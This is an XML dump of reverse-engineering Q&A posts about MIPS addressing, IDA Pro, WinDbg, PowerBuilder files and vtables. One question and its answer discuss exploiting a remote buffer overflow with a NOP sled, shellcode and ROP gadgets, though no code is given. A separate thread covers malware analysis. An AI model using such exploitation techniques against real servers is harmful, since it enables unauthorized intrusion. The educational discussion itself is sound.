of this&#xA;  number. But how to do that? The class notes say (on 3.17) that to&#xA;  reverse the sign you simply invert the bits (0 goes to 1, and 1 to 0)&#xA;  and add one to the resulting number.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The inversion of that binary number is, obviously:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;0000 0000 0000 0000 0000 0000 0000 0000&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then we add one. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;0000 0000 0000 0000 0000 0000 0000 0001&lt;/code&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So the negative of 0xFFFFFFFF is&#xA;  0x00000001, more commonly known as 1. So 0xFFFFFFFF is -1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="161" LastEditDate="2017-12-20T16:31:51.437" LastActivityDate="2017-12-20T16:31:51.437" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17025" PostTypeId="2" ParentId="17023" CreationDate="2017-12-20T16:44:09.043" Score="6" Body="&lt;p&gt;Like many RISC implementations, MIPS instruction set uses fixed-width 32-bit instructions, and instructions have only 16 bits for the offset field, meaning you can use only 16-bit constants, giving you 64KB of addressing. However, the actual address space of a MIPS CPU is 4GB (32-bit address size), so how can you access all that? Well, there is the  option of using partial 16-bit moves to build a 32-bit address in a register and then use an indirect load/store to access it. It usually looks similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lui  $r1, 0x0123&#xA;addi $r1, $r1, 0xabcd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lui  $r1, 0x0123&#xA;ori  $r1, $r1, 0xabcd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both of these load &lt;code&gt;0x0123abcd&lt;/code&gt; into &lt;code&gt;r1&lt;/code&gt; aka &lt;code&gt;at&lt;/code&gt; (see &lt;a href=&quot;https://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/load32.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this requires knowledge of the address at compile- (or at least link-) time. In case our binary needs to be loaded at a different address (as often the case with shared libraries), it will have to be relocated (instructions would need to be patched). Patching takes time, prevents code page sharing and increases memory consumption, that's why position-independent code (PIC) is preferred to fixed-address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how we can perform the address calculation independent from the load address? Well, we just need to take our execution address and add a fixed delta to it (usually binaries are loaded as one chunk to memory, so offsets from one part of it to another are fixed).  The MIPS ABI states that for public functions, the value of &lt;code&gt;$t9&lt;/code&gt; at the function entry should be equal to its runtime address, and we can see the code using this fact:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;109BC: li $gp, 0x830e4&#xA;109C4: addu $gp, $gp, $t9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we assume that &lt;code&gt;$t9&lt;/code&gt; is equal to &lt;code&gt;0x109BC&lt;/code&gt;, we get :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gp = 0x830e4 + 0x109BC = 0x93AA0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gp&lt;/code&gt; stands for &quot;global pointer&quot; and is not supposed to change during the execution of the function (often it is assumed to have the same value in &lt;em&gt;all&lt;/em&gt; functions of the program). This fact may be used by the compiler in all other calculations involving program addresses. For example, looking at the highlighted area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lw $v1, -0x7fd4($gp) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x93AA0-0x7fd4 = 0x8BACC&lt;/code&gt;, and apparently the program stores &lt;code&gt;0x70000&lt;/code&gt; at that address, which is used in the next instruction to load &lt;code&gt;$a1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lw $a1, -0x1b4c($v1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calculating it: &lt;code&gt;-0x1b4c+0x70000=0x6E4B4&lt;/code&gt; (helpfully shown by the disassembler).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;code&gt;$v1&lt;/code&gt; (and &lt;code&gt;v0&lt;/code&gt; later) here is just an intermediate variable used for the address calculation (usually &lt;code&gt;$at&lt;/code&gt; is reserved for this purpose but reusing it all the time may lead to slower code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, &lt;code&gt;0x70000&lt;/code&gt; has all zeroes in the low 16 bits, and it's not an accident. It may happen to point to &lt;code&gt;rsl_setNetCfgObj&lt;/code&gt; but it's just a red herring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the .got section of the binary, you will usually see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.got:00515B40      .word 0&#xA;.got:00515B44      .word 0x80000000&#xA;.got:00515B48      .word 0x510000&#xA;.got:00515B4C      .word 0x4D0000&#xA;.got:00515B50      .word 0x420000&#xA;.got:00515B54      .word 0x4C0000&#xA;.got:00515B58      .word 0x520000&#xA;.got:00515B5C      .word 0x430000&#xA;.got:00515B60      .word 0x440000&#xA;.got:00515B64      .word 0x450000&#xA;.got:00515B68      .word 0x460000&#xA;.got:00515B6C      .word 0x470000&#xA;.got:00515B70      .word 0x480000&#xA;.got:00515B74      .word 0x490000&#xA;.got:00515B78      .word 0x4A0000&#xA;.got:00515B7C      .word 0x530000&#xA;.got:00515B80      .word 0x4B0000&#xA;.got:00515B84      .word 0&#xA;.got:00515B88      .word 0&#xA;.got:00515B8C      .word 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are so-called &lt;em&gt;local&lt;/em&gt; GOT entries, and are used by the compiler purely for address calculations inside the binary and not as pointers to external symbols. The compiler allocates enough different addresses there so it can reach any required address in the local binary with just a 16-bit (signed) offset. The &lt;code&gt;gp&lt;/code&gt; itself is usually set to GOT+&lt;code&gt;7FF0&lt;/code&gt; which allows the compiler to load any GOT entry (either external symbol or a local address for further calculation) in one instruction (assuming that GOT does not exceed 64KB).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So, in summary: what you have here is &lt;em&gt;not&lt;/em&gt; obfuscation or a disassembler bug but &lt;strong&gt;normal code&lt;/strong&gt; demonstrating limitations of the MIPS instruction set and its calling conventions.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;BTW, IDA knows about these things and by default represents most such references using final addresses. E.g., from a sample binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0042C34C   la      $v0, dword_520000&#xA;.text:0042C350   lbu     $v0, (byte_5193CD - 0x520000)($v0)&#xA;.text:0042C354   beqz    $v0, loc_42C36C&#xA;.text:0042C358   li      $v1, 8&#xA;.text:0042C35C   li      $v1, 9&#xA;.text:0042C360   la      $v0, dword_520000&#xA;.text:0042C364   b       loc_42C380&#xA;.text:0042C368   sb      $v1, (sLastPayedFileInfo - 0x520000)($v0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And with simplifications turned off:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0042C34C   lw      $v0, -0x7FD8($gp)&#xA;.text:0042C350   lbu     $v0, (byte_5193CD - 0x520000)($v0)&#xA;.text:0042C354   beq     $v0, $zero, loc_42C36C&#xA;.text:0042C358   addiu   $v1, $zero, 8&#xA;.text:0042C35C   addiu   $v1, $zero, 9&#xA;.text:0042C360   lw      $v0, -0x7FD8($gp)&#xA;.text:0042C364   beq     $zero, $zero, loc_42C380&#xA;.text:0042C368   sb      $v1, (sLastPayedFileInfo - 0x520000)($v0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While you can still somewhat see what's going on, I personally prefer the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info on MIPS I would recommend the &lt;em&gt;See MIPS Run&lt;/em&gt; book by Sweetman, as well as the MIPS ABI specifications (see &lt;a href=&quot;https://www.linux-mips.org/wiki/MIPS_ABI_History&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; for a start). Or just go through the code instruction by instruction and try to figure out what they do.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2017-12-20T17:38:46.347" LastActivityDate="2017-12-20T17:38:46.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17028" PostTypeId="1" CreationDate="2017-12-21T02:23:14.463" Score="-2" ViewCount="445" Body="&lt;p&gt;I'm new to IDA and I am trying to debug a game using win32. When it starts up though I get a division by zero error then it crashes. Any help would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="22668" LastActivityDate="2017-12-22T16:12:00.957" Title="IDA Pro getting division by zero when trying to debug assault cube" Tags="|ida|" AnswerCount="2" CommentCount="1" ClosedDate="2017-12-22T20:53:06.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="17029" PostTypeId="1" AcceptedAnswerId="17047" CreationDate="2017-12-21T15:36:04.483" Score="0" ViewCount="795" Body="&lt;p&gt;ELF x64 binary on a remote server communicates via simple socket server in C.&lt;/p&gt;&#xA;&lt;p&gt;After overflowing the buffer (total buffer is 2000, password buffer is less), overwriting the RIP, filling with NOP sled (512 nops), inserting a reverse bind shellcode on the top of that, finding out a perfect address (without &lt;code&gt;\x00&lt;/code&gt;) in middle of nop sled which after sliding it will execute the shellcode.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Remote server ASLR is off;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Binary compiled without canary and can execute code from stack.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No info leak AFAIK&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I understand the many outcomes but if I decide to brute force the remote server to find the NOP-sled address.&#xA;Any good practice for that ?&lt;/p&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2020-07-30T10:39:03.710" LastActivityDate="2020-07-30T10:39:03.710" Title="brute force remote nop sled memory address" Tags="|crackme|x86-64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17030" PostTypeId="1" AcceptedAnswerId="17033" CreationDate="2017-12-21T17:27:42.017" Score="1" ViewCount="3346" Body="&lt;p&gt;I have an executable that is  c++(x64)  compiled code upon which the decompiler is not loaded. In other files, it works fine. But they are mostly written in c. &#xA;I am not sure if it is a limitation in version 6.8.&lt;/p&gt;&#xA;" OwnerUserId="22690" LastEditorUserId="245" LastEditDate="2017-12-22T19:45:01.047" LastActivityDate="2017-12-22T19:45:15.387" Title="IDA hex-rays decompiler not loaded" Tags="|ida|decompiler|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17032" PostTypeId="2" ParentId="17028" CreationDate="2017-12-21T18:32:17.273" Score="2" Body="&lt;p&gt;&lt;em&gt;short question yields short answer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably happening because of anti debugging techniques used by the program. By detecting and nullifying  the anti-debugging techniques you can safely avoid the exception and crash.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-12-21T18:32:17.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17033" PostTypeId="2" ParentId="17030" CreationDate="2017-12-21T21:05:46.637" Score="4" Body="&lt;p&gt;The answer is that I was trying to open a 32bit file in idaq64 and so the decompiler doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="22690" LastEditorUserId="245" LastEditDate="2017-12-22T19:45:15.387" LastActivityDate="2017-12-22T19:45:15.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17035" PostTypeId="1" CreationDate="2017-12-22T12:18:03.307" Score="-2" ViewCount="999" Body="&lt;p&gt;Im want create reverse macro for constant integers, how i can do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define MU_ITEM(x, y) (x * 512 + y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My goal is make result of number format like: &lt;a href=&quot;https://image.prntscr.com/image/G3ZHtjWjQsmt7jr6uQzfdA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;before&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://image.prntscr.com/image/HZJY1Bz1QVyhSMCfCoYGtQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;after&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22694" LastActivityDate="2017-12-23T10:06:04.070" Title="(Hex-Rays) How to define C macro?" Tags="|ida|ida-plugin|hexrays|idapro-sdk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17036" PostTypeId="1" AcceptedAnswerId="17037" CreationDate="2017-12-22T14:11:47.493" Score="0" ViewCount="5513" Body="&lt;p&gt;I'm trying to stop at a specific module load from a kernel debugger inside a specific process context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i do is to first set &lt;code&gt;sxe ld [process-name]&lt;/code&gt; let's say calc.exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I run calc it works, but when i set &lt;code&gt;sxe ld [dll-name]&lt;/code&gt; (say kernel32/ntdll) it won't work.&lt;/p&gt;&#xA;" OwnerUserId="22695" LastEditorUserId="245" LastEditDate="2017-12-22T19:50:20.617" LastActivityDate="2017-12-22T19:50:20.617" Title="[windbg]kd - sxe ld &lt;dll&gt; from a process context won't fire" Tags="|windows|windbg|kernel-mode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17037" PostTypeId="2" ParentId="17036" CreationDate="2017-12-22T14:35:12.310" Score="3" Body="&lt;p&gt;I think usually this enables stopping on loading of kernel modules only (e.g. drivers). However, &lt;a href=&quot;https://stackoverflow.com/questions/24319716/how-do-i-debug-a-process-that-starts-at-boot-time&quot;&gt;this SO answer&lt;/a&gt; claims it can work for user-mode processes if you send &lt;code&gt;!gflag +ksl&lt;/code&gt; first (Enable loading of kernel debugger symbols).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also describes how you can set process-specific kernel  breakpoints, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; .process&#xA;    Implicit process is now 00112233`44556677&#xA;bp /p 0011223344556677 nt!NtMapViewOfSection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;NtMapViewOfSection&lt;/code&gt; syscall is used, among other purposes, to load DLLs so by stopping at it you should catch all further DLL loads.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-12-22T15:08:05.517" LastActivityDate="2017-12-22T15:08:05.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17038" PostTypeId="2" ParentId="16859" CreationDate="2017-12-22T15:48:52.457" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm especially interested in understanding the file format of the PBD files, which appears to hold most if not all of the content. My goal is to be able to retrieve values for specific variables and do some basic static analysis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can think of PowerBuilder as another Java (for PB Classic, since PB10 or PB11, there is also a version of PowerBuilder that can produce .Net assemblies - I will only talk of PB Classic), as the source is compiled into bytecode that is run by a VM located in &lt;code&gt;PBVMxxx.dll&lt;/code&gt; (replace &lt;code&gt;xxx&lt;/code&gt; by the PB version, like 90, 100 or 125). There used to have Mac, Solaris or AIX VMs, but nowadays only the windows VM remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each PB object (structure, window, visual or non visual object, menu, ...) is compiled into a corresponding binary like a .java is compiled into a .class that keeps an extension telling its nature (e.g. object .sro -&gt; .obj, menu srm -&gt; .mnu, structure srt -&gt; str, ...) and all the objects are stored into a .pbd file (when using the development environment, you are using instead .pbl (=PB library) that also contains the source code &quot;files&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.pbl and .pbd files have both the same tree stucture, including a directory of contained files, and a linked-list of data blocks. It looks like a game resource file for old-timers. :o)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither the class format nor the library are officially documented, but the library structure has been reversed and &lt;a href=&quot;http://www.dwox.com/PBL_File_Format.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;published&lt;/a&gt;. Based on this I did a &lt;a href=&quot;http://sebastien.kirche.free.fr/powerbuilder/en.html#pbdumper&quot; rel=&quot;nofollow noreferrer&quot;&gt;dumper&lt;/a&gt; that can extract the contained objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not finished a work-in-progress on the reversing of the class format, but you can note that it keeps variable and object names, along statement line numbers, thus it is possible to retreive a quasi identical source code from compiled bytecode (you only loose the comments) and I already seen some chinese commercial decompilers.&lt;/p&gt;&#xA;" OwnerUserId="2094" LastActivityDate="2017-12-22T15:48:52.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17039" PostTypeId="2" ParentId="17028" CreationDate="2017-12-22T16:12:00.957" Score="2" Body="&lt;p&gt;IDA debugger for win32 is pretty unstable, especially when you load a big file into ida (bigger than 20 mb), and then try to debug it. You can try attaching to a running process from IDA, instead of loading exe for disassembly first. Also, I would suggest trying the other debugging backends like Windbg (Debugger - Select debugger menu). You'll need debugging tools for Windows. And if there's no specific need to debug from IDA, then use Windbg directly.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-12-22T16:12:00.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17040" PostTypeId="2" ParentId="3144" CreationDate="2017-12-22T18:18:55.753" Score="1" Body="&lt;p&gt;In case anyone ends up here.&#xA;My solution (years ago) was to program an Arduino with an IR LED to send commands to the unit mimicking the remote control.&#xA;The arduino also has ethernet and runs a webserver ( &lt;a href=&quot;https://github.com/ovidiucp/TinyWebServer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ovidiucp/TinyWebServer&lt;/a&gt; )&#xA;Not very elegant since there is the LED and its wire next to the unit but it gets the job done.&lt;/p&gt;&#xA;" OwnerUserId="22697" LastActivityDate="2017-12-22T18:18:55.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17041" PostTypeId="2" ParentId="17035" CreationDate="2017-12-23T10:06:04.070" Score="1" Body="&lt;p&gt;You'll need to write a hex-rays plugin for that.&#xA;You can find examples of the sample plugins &lt;a href=&quot;https://github.com/idapython/src&quot; rel=&quot;nofollow noreferrer&quot;&gt;here, in python&lt;/a&gt; or in the samples of the SDK in C++.&#xA;&lt;a href=&quot;https://github.com/idapython/src/blob/master/examples/vds3.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;One of these examples&lt;/a&gt; inverts if/else in decompiler output with corresponding manipulation of the if statement condition.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-12-23T10:06:04.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17042" PostTypeId="1" AcceptedAnswerId="17043" CreationDate="2017-12-23T10:50:23.017" Score="2" ViewCount="3441" Body="&lt;p&gt;Simple question that I coudn't find googling: if I'm in the middle of a function how can I jump to the start/end (prologue/epilogue) of this function in IDA's disassembly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21752" LastActivityDate="2017-12-24T02:19:39.743" Title="How to jump to the start/end of a function in IDA disassembly?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17043" PostTypeId="2" ParentId="17042" CreationDate="2017-12-24T02:19:39.743" Score="6" Body="&lt;p&gt;I don't believe there is a hotkey that will do it by default. One solution you could have is to add something like this to your &lt;code&gt;.idapythonrc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# define functions to do the jumping&#xA;def jump_func_start():&#xA;    Jump(GetFunctionAttr(here(), FUNCATTR_START))&#xA;&#xA;def jump_func_end():&#xA;    Jump(PrevHead(GetFunctionAttr(here(), FUNCATTR_END)))&#xA;&#xA;# Compile IDC wrappers to call the python&#xA;idaapi.CompileLine('static j_f_start() { RunPythonStatement(&quot;jump_func_start()&quot;); }')&#xA;idaapi.CompileLine('static j_f_end() { RunPythonStatement(&quot;jump_func_end()&quot;); }')&#xA;&#xA;# Add the hotkey&#xA;AddHotkey(&quot;Ctrl-Alt-K&quot;, 'j_f_start')&#xA;AddHotkey(&quot;Ctrl-Alt-J&quot;, 'j_f_end')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that you can just type whatever hotkey you set and it should go to the start / end of the function&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2017-12-24T02:19:39.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17044" PostTypeId="2" ParentId="13936" CreationDate="2017-12-24T06:22:23.200" Score="2" Body="&lt;p&gt;Not sure why my last question was deleted.. anyway here is the answer - the bit order of the sum at the end is reversed..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint8_t rev(uint8_t b) {&#xA;   b = (b &amp;amp; 0xF0) &amp;gt;&amp;gt; 4 | (b &amp;amp; 0x0F) &amp;lt;&amp;lt; 4;&#xA;   b = (b &amp;amp; 0xCC) &amp;gt;&amp;gt; 2 | (b &amp;amp; 0x33) &amp;lt;&amp;lt; 2;&#xA;   b = (b &amp;amp; 0xAA) &amp;gt;&amp;gt; 1 | (b &amp;amp; 0x55) &amp;lt;&amp;lt; 1;&#xA;   return b;&#xA;}&#xA;&#xA;int main() {&#xA;  uint8_t test2[] = { 0x68,0x44,0x1C,0xC8,0x88,0x08,0x04,0x2C };&#xA;&#xA;  uint8_t total=rev(test2[7]) &amp;amp; (uint8_t)0xF;&#xA;  for (uint8_t i=0; i&amp;lt;7; i++) {&#xA;    total += (uint8_t)rev(test2[i]) &amp;amp; (uint8_t)0xf;&#xA;    total += (uint8_t)rev(test2[i]) &amp;gt;&amp;gt; 4;&#xA;  }&#xA;  printf(&quot;total sum: %d\n&quot;,total);&#xA;  printf(&quot;calc mask: %d\n&quot;,total &amp;amp; (uint8_t)0xF);&#xA;  printf(&quot;supplied mask: %d\n&quot;,rev(test2[7]) &amp;gt;&amp;gt; 4);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22703" LastActivityDate="2017-12-24T06:22:23.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17045" PostTypeId="1" AcceptedAnswerId="17046" CreationDate="2017-12-25T00:15:24.343" Score="4" ViewCount="336" Body="&lt;p&gt;I have analysed malware previously using Cuckoo Sandbox, however, I've seen that some malware won't run as they detect they are actually running in a virtual environment (they implement some anti-virtualisation techniques). So what I was thinking is running the malware in a real environment instead and then rolling back to the clean state using a clean copy of the system. &lt;strong&gt;I just want to check the following:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is this the proper way to analyse malware which implements&#xA;anti-virtualisation techniques or there are other ways that usually are followed? &lt;/li&gt;&#xA;&lt;li&gt;Is there a specific program that is widely used by&#xA;malware analysers to retain a copy of the clean system state, and&#xA;re-install it? (I am interested in Windows malware only)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15185" LastEditorUserId="15185" LastEditDate="2017-12-25T00:56:21.583" LastActivityDate="2017-12-27T21:07:41.383" Title="Analysing malware in a real environment (non-virtual environment)" Tags="|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17046" PostTypeId="2" ParentId="17045" CreationDate="2017-12-25T06:05:13.617" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes this is an approach that is commonly used. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Faronics Deep Freeze is an interesting software to do erase changes on reboot, but is itself subject to detection. Clonezilla is a good imaging tool and is quite simple to use. The best setup I have seen is booting an image from RAM using Intel AMT, this makes the imaging process much faster.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastActivityDate="2017-12-25T06:05:13.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17047" PostTypeId="2" ParentId="17029" CreationDate="2017-12-25T09:03:20.033" Score="3" Body="&lt;p&gt;Brute force is not the way you should look to in anything unless its your last resort. The address space of x64 is too large to get brute force to work. Look up on this technique called ROP(Return Oriented Programming). Currently you're bruteforcing the RIP, what if there's some code in the binary that will help you jump to your shellcode without bruteforcing and plus no PIE means that address is constant. When your control is getting transferred at &lt;code&gt;ret&lt;/code&gt;, look at what other registers contain. You might find code such as &lt;code&gt;call eax&lt;/code&gt; in the binary.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2017-12-25T09:03:20.033" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17048" PostTypeId="1" AcceptedAnswerId="17069" CreationDate="2017-12-25T15:53:08.650" Score="2" ViewCount="444" Body="&lt;p&gt;I decompile a VC++ application in IDA 7, and I often find vftables referencing the same function multiple times, like the one I called &quot;Object__pure&quot; here, part of a &quot;heavy-base&quot; &lt;code&gt;Object&lt;/code&gt; class inherited by almost every other class in the application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg002:008F4748     const Object::`vftable' dd offset Object__free ; DATA XREF: Object__ctor+12↑o Object__dtor+A↑o Object__copy+16↑o&#xA;seg002:008F474C         dd offset Object__vsub_7D0990&#xA;seg002:008F4750         dd offset Object__vsub_7D09A0&#xA;seg002:008F4754         dd offset Object__pure&#xA;seg002:008F4758         dd offset Object__pure&#xA;seg002:008F475C         dd offset Object__pure&#xA;seg002:008F4760         dd offset Object__pure&#xA;seg002:008F4764         dd offset Object__vsub_47B660&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Child classes in my executable inheriting from &lt;code&gt;Object&lt;/code&gt; typically have their own custom functions instead of those &quot;pure&quot; (how I called them) ones in their vtable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not really knowing what that could be, I gave it the name &quot;pure&quot;, thinking about it like a virtual or pure virtual call. The function itself does nothing other than calling a completely empty &lt;code&gt;Object__vsub_80CD50&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:007E4580     Object__pure proc near ; CODE XREF: &amp;lt;lots!&amp;gt;&#xA;seg000:007E4580&#xA;seg000:007E4580     a1  = dword ptr -4&#xA;seg000:007E4580     arg_0= dword ptr  8&#xA;seg000:007E4580&#xA;seg000:007E4580 000     push    ebp&#xA;seg000:007E4581 004     mov     ebp, esp&#xA;seg000:007E4583 004     push    ecx&#xA;seg000:007E4584 008     mov     [ebp+a1], ecx&#xA;seg000:007E4587 008     mov     eax, [ebp+arg_0]&#xA;seg000:007E458A 008     push    eax&#xA;seg000:007E458B 00C     mov     ecx, [ebp+a1] ; this&#xA;seg000:007E458E 00C     call    Object__vsub_80CD50 ; Call Procedure&#xA;seg000:007E4593 00C     mov     esp, ebp&#xA;seg000:007E4595 004     pop     ebp&#xA;seg000:007E4596 000     retn    4 ; Return Near from Procedure&#xA;seg000:007E4596     Object__pure endp&#xA;&#xA;...&#xA;&#xA;seg000:0080CD50     Object__vsub_80CD50 proc near ; CODE XREF: &amp;lt;lots again!&amp;gt;&#xA;seg000:0080CD50&#xA;seg000:0080CD50     var_4= dword ptr -4&#xA;seg000:0080CD50&#xA;seg000:0080CD50 000     push    ebp&#xA;seg000:0080CD51 004     mov     ebp, esp&#xA;seg000:0080CD53 004     push    ecx&#xA;seg000:0080CD54 008     mov     [ebp+var_4], ecx&#xA;seg000:0080CD57 008     mov     esp, ebp&#xA;seg000:0080CD59 004     pop     ebp&#xA;seg000:0080CD5A 000     retn    4 ; Return Near from Procedure&#xA;seg000:0080CD5A     Object__vsub_80CD50 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is such a function referenced multiple times? Is it due to optimization, unifying functions that do nothing? Are those functions typically virtual / pure virtual?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2017-12-25T22:23:26.340" LastActivityDate="2017-12-29T11:52:19.963" Title="Why would a vtable reference the same function multiple times?" Tags="|ida|vtables|msvc|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
